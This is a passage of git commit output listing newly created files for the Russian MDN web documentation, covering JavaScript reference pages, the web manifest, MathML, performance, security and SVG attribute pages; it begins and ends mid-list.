files/ru/web/javascript/reference/global_objects/math/sinh/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/sqrt/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/sqrt1_2/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/sqrt2/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/tan/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/tanh/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/math/trunc/index.html create mode 100644 "files/ru/web/javascript/reference/global_objects/math/\320\274\320\265\321\202\320\276\320\264_math.max()_/index.html" create mode 100644 files/ru/web/javascript/reference/global_objects/nan/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/null/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/epsilon/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/isfinite/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/isinteger/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/isnan/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/issafeinteger/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/max_safe_integer/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/max_value/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/min_safe_integer/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/min_value/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/nan/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/negative_infinity/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/parsefloat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/parseint/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/positive_infinity/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/toexponential/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/tofixed/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/tointeger/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/tolocalestring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/toprecision/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/number/valueof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/__definegetter__/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/__definesetter__/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/__lookupgetter__/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/__lookupsetter__/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/assign/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/constructor/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/count/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/create/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/defineproperties/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/defineproperty/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/entries/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/eval/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/freeze/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/fromentries/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/getownpropertynames/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/getownpropertysymbols/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/getprototypeof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/hasownproperty/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/is/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/isextensible/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/isfrozen/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/isprototypeof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/issealed/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/keys/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/observe/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/parent/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/preventextensions/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/propertyisenumerable/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/proto/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/seal/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/setprototypeof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/tolocalestring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/unobserve/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/unwatch/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/valueof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/values/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/object/watch/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/parallelarray/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/parsefloat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/parseint/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/all/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/allsettled/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/any/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/catch/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/finally/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/race/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/reject/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/resolve/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/promise/then/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/proxy/handler/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/proxy/handler/set/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/proxy/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/proxy/revocable/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/rangeerror/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/rangeerror/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/referenceerror/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/referenceerror/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/reflect/apply/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/reflect/construct/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/reflect/defineproperty/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/reflect/deleteproperty/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/reflect/get/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/reflect/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/@@search/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/exec/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/flags/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/global/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/ignorecase/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/input/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/lastindex/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/multiline/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/n/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/source/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/sticky/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/test/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/add/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/clear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/delete/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/entries/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/foreach/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/has/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/set/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/size/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/set/values/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/anchor/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/big/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/blink/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/bold/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/charat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/charcodeat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/codepointat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/concat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/endswith/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/fixed/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/fontcolor/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/fontsize/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/fromcharcode/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/fromcodepoint/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/includes/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/indexof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/italics/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/lastindexof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/length/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/link/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/localecompare/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/match/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/matchall/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/normalize/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/padend/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/padstart/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/quote/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/raw/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/repeat/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/replace/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/replaceall/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/search/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/slice/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/small/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/split/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/startswith/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/strike/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/sub/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/substr/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/substring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/sup/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/tolocalelowercase/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/tolocaleuppercase/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/tolowercase/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/tosource/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/tostring/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/touppercase/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/trim/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/trimleft/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/trimright/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/string/valueof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/@@toprimitive/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/for/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/hasinstance/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/iterator/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/keyfor/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/match/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/replace/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/search/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/species/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/split/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/tostringtag/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/unscopables/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/symbol/valueof/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/syntaxerror/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/syntaxerror/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/typedarray/@@species/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/typedarray/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/typedarray/join/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/typedarray/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/typedarray/set/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/typeerror/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/typeerror/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/uint16array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/uint32array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/uint8array/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/uint8clampedarray/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/undefined/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/unescape/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/uneval/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/urierror/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/urierror/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakmap/get/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakmap/has/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakmap/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakmap/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakmap/set/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakset/add/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakset/delete/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakset/has/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakset/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/weakset/prototype/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/webassembly/index.html create mode 100644 files/ru/web/javascript/reference/global_objects/webassembly/table/index.html create mode 100644 files/ru/web/javascript/reference/index.html create mode 100644 files/ru/web/javascript/reference/iteration_protocols/index.html create mode 100644 files/ru/web/javascript/reference/lexical_grammar/index.html create mode 100644 files/ru/web/javascript/reference/operators/addition/index.html create mode 100644 files/ru/web/javascript/reference/operators/addition_assignment/index.html create mode 100644 files/ru/web/javascript/reference/operators/arithmetic_operators/index.html create mode 100644 files/ru/web/javascript/reference/operators/array_comprehensions/index.html create mode 100644 files/ru/web/javascript/reference/operators/assignment_operators/index.html create mode 100644 files/ru/web/javascript/reference/operators/async_function/index.html create mode 100644 files/ru/web/javascript/reference/operators/await/index.html create mode 100644 files/ru/web/javascript/reference/operators/bitwise_and/index.html create mode 100644 files/ru/web/javascript/reference/operators/bitwise_operators/index.html create mode 100644 files/ru/web/javascript/reference/operators/class/index.html create mode 100644 files/ru/web/javascript/reference/operators/decrement/index.html create mode 100644 files/ru/web/javascript/reference/operators/delete/index.html create mode 100644 files/ru/web/javascript/reference/operators/destructuring_assignment/index.html create mode 100644 files/ru/web/javascript/reference/operators/expression_closures/index.html create mode 100644 files/ru/web/javascript/reference/operators/function/index.html create mode 100644 files/ru/web/javascript/reference/operators/function_star_/index.html create mode 100644 files/ru/web/javascript/reference/operators/generator_comprehensions/index.html create mode 100644 files/ru/web/javascript/reference/operators/in/index.html create mode 100644 files/ru/web/javascript/reference/operators/index.html create mode 100644 files/ru/web/javascript/reference/operators/instanceof/index.html create mode 100644 files/ru/web/javascript/reference/operators/new.target/index.html create mode 100644 files/ru/web/javascript/reference/operators/new/index.html create mode 100644 files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html create mode 100644 files/ru/web/javascript/reference/operators/object_initializer/index.html create mode 100644 files/ru/web/javascript/reference/operators/operator_precedence/index.html create mode 100644 files/ru/web/javascript/reference/operators/optional_chaining/index.html create mode 100644 files/ru/web/javascript/reference/operators/property_accessors/index.html create mode 100644 files/ru/web/javascript/reference/operators/spread_syntax/index.html create mode 100644 files/ru/web/javascript/reference/operators/super/index.html create mode 100644 files/ru/web/javascript/reference/operators/this/index.html create mode 100644 files/ru/web/javascript/reference/operators/typeof/index.html create mode 100644 files/ru/web/javascript/reference/operators/void/index.html create mode 100644 files/ru/web/javascript/reference/operators/yield/index.html create mode 100644 files/ru/web/javascript/reference/operators/yield_star_/index.html create mode 100644 "files/ru/web/javascript/reference/operators/\320\263\321\200\321\203\320\277\320\277\320\270\321\200\320\276\320\262\320\272\320\260/index.html" create mode 100644 "files/ru/web/javascript/reference/operators/\320\272\320\276\320\275\320\262\320\265\320\271\320\265\321\200\320\275\321\213\320\271_\320\276\320\277\320\265\321\200\320\260\321\202\320\276\321\200/index.html" create mode 100644 "files/ru/web/javascript/reference/operators/\320\273\320\276\320\263\320\270\321\207\320\265\321\201\320\272\320\270\320\265_\320\276\320\277\320\265\321\200\320\260\321\202\320\276\321\200\321\213/index.html" create mode 100644 "files/ru/web/javascript/reference/operators/\320\276\320\277\320\265\321\200\320\260\321\202\320\276\321\200_\320\267\320\260\320\277\321\217\321\202\320\260\321\217/index.html" create mode 100644 "files/ru/web/javascript/reference/operators/\320\276\320\277\320\265\321\200\320\260\321\202\320\276\321\200\321\213_\321\201\321\200\320\260\320\262\320\275\320\265\320\275\320\270\321\217/index.html" create mode 100644 "files/ru/web/javascript/reference/operators/\320\277\321\200\320\270\321\201\320\262\320\260\320\270\320\262\320\260\320\275\320\270\320\265/index.html" create mode 100644 "files/ru/web/javascript/reference/operators/\321\203\321\201\320\273\320\276\320\262\320\275\321\213\320\271_\320\276\320\277\320\265\321\200\320\260\321\202\320\276\321\200/index.html" create mode 100644 files/ru/web/javascript/reference/statements/async_function/index.html create mode 100644 files/ru/web/javascript/reference/statements/break/index.html create mode 100644 files/ru/web/javascript/reference/statements/class/index.html create mode 100644 files/ru/web/javascript/reference/statements/const/index.html create mode 100644 files/ru/web/javascript/reference/statements/continue/index.html create mode 100644 files/ru/web/javascript/reference/statements/debugger/index.html create mode 100644 files/ru/web/javascript/reference/statements/default/index.html create mode 100644 files/ru/web/javascript/reference/statements/do...while/index.html create mode 100644 files/ru/web/javascript/reference/statements/empty/index.html create mode 100644 files/ru/web/javascript/reference/statements/export/index.html create mode 100644 files/ru/web/javascript/reference/statements/for-await...of/index.html create mode 100644 files/ru/web/javascript/reference/statements/for...in/index.html create mode 100644 files/ru/web/javascript/reference/statements/for...of/index.html create mode 100644 files/ru/web/javascript/reference/statements/for/index.html create mode 100644 files/ru/web/javascript/reference/statements/for_each...in/index.html create mode 100644 files/ru/web/javascript/reference/statements/function/index.html create mode 100644 files/ru/web/javascript/reference/statements/function_star_/index.html create mode 100644 files/ru/web/javascript/reference/statements/if...else/index.html create mode 100644 files/ru/web/javascript/reference/statements/import.meta/index.html create mode 100644 files/ru/web/javascript/reference/statements/import/index.html create mode 100644 files/ru/web/javascript/reference/statements/index.html create mode 100644 files/ru/web/javascript/reference/statements/label/index.html create mode 100644 files/ru/web/javascript/reference/statements/let/index.html create mode 100644 files/ru/web/javascript/reference/statements/return/index.html create mode 100644 files/ru/web/javascript/reference/statements/switch/index.html create mode 100644 files/ru/web/javascript/reference/statements/throw/index.html create mode 100644 files/ru/web/javascript/reference/statements/try...catch/index.html create mode 100644 files/ru/web/javascript/reference/statements/var/index.html create mode 100644 files/ru/web/javascript/reference/statements/while/index.html create mode 100644 files/ru/web/javascript/reference/statements/with/index.html create mode 100644 "files/ru/web/javascript/reference/statements/\320\261\320\273\320\276\320\272/index.html" create mode 100644 files/ru/web/javascript/reference/strict_mode/index.html create mode 100644 files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html create mode 100644 files/ru/web/javascript/reference/template_strings/index.html create mode 100644 files/ru/web/javascript/reference/trailing_commas/index.html create mode 100644 "files/ru/web/javascript/reference/\320\276\320\261/index.html" create mode 100644 files/ru/web/javascript/typed_arrays/index.html create mode 100644 "files/ru/web/javascript/\320\276_javascript/index.html" create mode 100644 files/ru/web/manifest/background_color/index.html create mode 100644 files/ru/web/manifest/categories/index.html create mode 100644 files/ru/web/manifest/description/index.html create mode 100644 files/ru/web/manifest/dir/index.html create mode 100644 files/ru/web/manifest/display/index.html create mode 100644 files/ru/web/manifest/iarc_rating_id/index.html create mode 100644 files/ru/web/manifest/icons/index.html create mode 100644 files/ru/web/manifest/index.html create mode 100644 files/ru/web/manifest/lang/index.html create mode 100644 files/ru/web/manifest/name/index.html create mode 100644 files/ru/web/manifest/orientation/index.html create mode 100644 files/ru/web/manifest/prefer_related_applications/index.html create mode 100644 files/ru/web/manifest/related_applications/index.html create mode 100644 files/ru/web/manifest/scope/index.html create mode 100644 files/ru/web/manifest/screenshots/index.html create mode 100644 files/ru/web/manifest/serviceworker/index.html create mode 100644 files/ru/web/manifest/short_name/index.html create mode 100644 files/ru/web/manifest/start_url/index.html create mode 100644 files/ru/web/manifest/theme_color/index.html create mode 100644 files/ru/web/mathml/authoring/index.html create mode 100644 files/ru/web/mathml/element/index.html create mode 100644 files/ru/web/mathml/element/maction/index.html create mode 100644 files/ru/web/mathml/element/math/index.html create mode 100644 files/ru/web/mathml/element/menclose/index.html create mode 100644 files/ru/web/mathml/element/merror/index.html create mode 100644 files/ru/web/mathml/element/mfenced/index.html create mode 100644 files/ru/web/mathml/element/mglyph/index.html create mode 100644 files/ru/web/mathml/element/mn/index.html create mode 100644 files/ru/web/mathml/element/mstyle/index.html create mode 100644 files/ru/web/mathml/index.html create mode 100644 "files/ru/web/mathml/\320\277\321\200\320\270\320\274\320\265\321\200\321\213/deriving_the_quadratic_formula/index.html" create mode 100644 "files/ru/web/mathml/\320\277\321\200\320\270\320\274\320\265\321\200\321\213/index.html" create mode 100644 "files/ru/web/mathml/\320\277\321\200\320\270\320\274\320\265\321\200\321\213/mathml_pythagorean_theorem/index.html" create mode 100644 files/ru/web/media/formats/codecs_parameter/index.html create mode 100644 files/ru/web/media/formats/index.html create mode 100644 "files/ru/web/media/formats/webrtc_\320\272\320\276\320\264\320\265\320\272\320\270/index.html" create mode 100644 files/ru/web/media/index.html create mode 100644 files/ru/web/performance/critical_rendering_path/index.html create mode 100644 files/ru/web/performance/css_javascript_animation_performance/index.html create mode 100644 files/ru/web/performance/dns-prefetch/index.html create mode 100644 files/ru/web/performance/how_browsers_work/index.html create mode 100644 files/ru/web/performance/how_long_is_too_long/index.html create mode 100644 files/ru/web/performance/index.html create mode 100644 files/ru/web/performance/lazy_loading/index.html create mode 100644 files/ru/web/performance/navigation_and_resource_timings/index.html create mode 100644 files/ru/web/performance/optimizing_startup_performance/index.html create mode 100644 files/ru/web/performance/performance_budgets/index.html create mode 100644 files/ru/web/performance/rum-vs-synthetic/index.html create mode 100644 files/ru/web/performance/understanding_latency/index.html create mode 100644 "files/ru/web/performance/\320\276\321\201\320\275\320\276\320\262\321\213/index.html" create mode 100644 "files/ru/web/performance/\320\277\321\200\320\276\320\270\320\267\320\262\320\276\320\264\320\270\321\202\320\265\320\273\321\214\320\275\320\276\321\201\321\202\321\214_\320\260\320\275\320\270\320\274\320\260\321\206\320\270\320\270/index.html" create mode 100644 files/ru/web/progressive_web_apps/index.html create mode 100644 files/ru/web/progressive_web_apps/installable_pwas/index.html create mode 100644 "files/ru/web/progressive_web_apps/\320\267\320\260\320\274\320\265\321\202\320\275\321\213\320\271/index.html" create mode 100644 files/ru/web/reference/api/index.html create mode 100644 files/ru/web/reference/index.html create mode 100644 files/ru/web/security/csp/index.html create mode 100644 files/ru/web/security/index.html create mode 100644 files/ru/web/security/information_security_basics/index.html create mode 100644 files/ru/web/security/same-origin_policy/index.html create mode 100644 files/ru/web/security/securing_your_site/index.html create mode 100644 files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html create mode 100644 files/ru/web/svg/applying_svg_effects_to_html_content/index.html create mode 100644 files/ru/web/svg/attribute/additive/index.html create mode 100644 files/ru/web/svg/attribute/attributename/index.html create mode 100644 files/ru/web/svg/attribute/attributetype/index.html create mode 100644 files/ru/web/svg/attribute/class/index.html create mode 100644 files/ru/web/svg/attribute/core/index.html create mode 100644 files/ru/web/svg/attribute/cx/index.html create mode 100644 files/ru/web/svg/attribute/cy/index.html create mode 100644 files/ru/web/svg/attribute/d/index.html create mode 100644 files/ru/web/svg/attribute/dur/index.html create mode 100644 files/ru/web/svg/attribute/end/index.html create mode 100644 files/ru/web/svg/attribute/fill-opacity/index.html create mode 100644 files/ru/web/svg/attribute/fill-rule/index.html create mode 100644 files/ru/web/svg/attribute/fill/index.html create mode 100644 files/ru/web/svg/attribute/font-weight/index.html create mode 100644 files/ru/web/svg/attribute/id/index.html create mode 100644 files/ru/web/svg/attribute/index.html create mode 100644 files/ru/web/svg/attribute/keytimes/index.html create mode 100644 files/ru/web/svg/attribute/lang/index.html create mode 100644 files/ru/web/svg/attribute/lengthadjust/index.html create mode 100644 files/ru/web/svg/attribute/letter-spacing/index.html create mode 100644 files/ru/web/svg/attribute/lighting-color/index.html create mode 100644 files/ru/web/svg/attribute/onload/index.html create mode 100644 files/ru/web/svg/attribute/overflow/index.html create mode 100644 files/ru/web/svg/attribute/patterncontentunits/index.html create mode 100644 files/ru/web/svg/attribute/r/index.html create mode 100644 files/ru/web/svg/attribute/repeatcount/index.html create mode 100644 files/ru/web/svg/attribute/rx/index.html create mode 100644 files/ru/web/svg/attribute/ry/index.html create mode 100644 files/ru/web/svg/attribute/shape-rendering/index.html create mode 100644 files/ru/web/svg/attribute/stop-color/index.html create mode 100644 files/ru/web/svg/attribute/stroke-dashoffset/index.html create mode 100644 files/ru/web/svg/attribute/stroke-linecap/index.html create mode 100644 files/ru/web/svg/attribute/stroke-width/index.html create mode 100644 files/ru/web/svg/attribute/stroke/index.html create mode 100644 files/ru/web/svg/attribute/text-anchor/index.html create mode 100644 files/ru/web/svg/attribute/text-rendering/index.html create mode 100644 files/ru/web/svg/attribute/transform/index.html create mode 100644 files/ru/web/svg/attribute/values/index.html create mode 100644 files/ru/web/svg/attribute/viewbox/index.html create mode 100644 